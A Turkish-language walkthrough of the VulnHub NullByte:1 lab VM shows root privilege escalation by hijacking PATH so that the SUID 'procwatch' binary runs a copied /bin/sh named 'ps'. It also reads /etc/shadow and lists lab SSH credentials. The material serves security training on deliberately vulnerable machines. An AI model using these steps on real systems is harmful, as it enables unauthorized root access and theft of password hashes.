Yazıda kullanılan NullByte:1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/nullbyte-1,126/
İşletim sisteminin komut satırına erişim için TCP/777 portuna SSH ile bağlantı kurularak aşağıdaki kimlik bilgileri ile kullanılabilir.
Kullanıcı Adı: ramses
Parola: omega
Linux işletim sistemine standart yetkilerle elde edilen erişimde bir kullanıcı (ramses) haklarına sahip olunduğu görülmektedir.
id
head -3 /etc/passwd
head -3 /etc/shadow
“procwatch” dosyasının/aracının çalıştırılabilir bir dosya olduğu, SUID bitinin etkin olduğu görülmektedir.
cd /var/www/backup/
ls -la
file procwatch
Araç çalıştırıldığında proses hakkında bilgi verdiği görülmektedir. Bu yapısı ile “ps” aracına benzemektedir. Üstelik SUID biti etkin olduğu için “ps” aracı “root” yetkisi ile çalışmaktadır.
./procwatch
ps
“procwatch” aracının arka planda çalıştırdığı “ps” aracı normalde “/bin” dizini altındadır. “procwatch” aracı çalıştığında çağıracağı “ps” aracını (çalıştırılabilir dosyaların aranacağı dizinlerin listelendiği) PATH adlı çevresel değişkendeki dizinlerde aranır. Bu dizinler içerisinde “/bin” dizini de olduğu için “ps” aracı çalıştırılabilmektedir.
which ps
echo $PATH
Eğer “ps” dosyası yerine Linux kabuğu (/bin/sh) çalıştırılabilirse “root” yetkisi ile komut satırı erişimi elde edilebilir. Bu amaçla “/bin/sh” kabuğunun kopyası “/tmp” dizinine “ps” olarak alınır ve PATH değişkeninin ilk elemanına da “/tmp” dizini eklenir. Böylece “/bin” altındaki “ps” değil, “/tmp” altındaki “ps” (“/bin/sh” kabuğunun kopyası) çalışacaktır.
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
echo $PATH
“procwatch” aracı çalıştırıldığında “root” yetkileri ile “sh” kabuğuna erişim sağlandığı görülmektedir.
./procwatch
id
cat /etc/shadow
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- PwnLab: init: https://www.vulnhub.com/entry/pwnlab-init,158/
- Kullanıcı Adı: kent
- Parola: JWzXuBJJNy
- Ew_Skuzzy: 1: https://www.vulnhub.com/entry/ew_skuzzy-1,184/
- Gemini Inc: 1: https://www.vulnhub.com/entry/gemini-inc-1,227/
Kaynak:
https://www.nuharborsecurity.com/nullbyte-1-walkthrough/
https://blog.techorganic.com/2015/08/06/nullbyte-0x01-hacking-challenge/
http://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/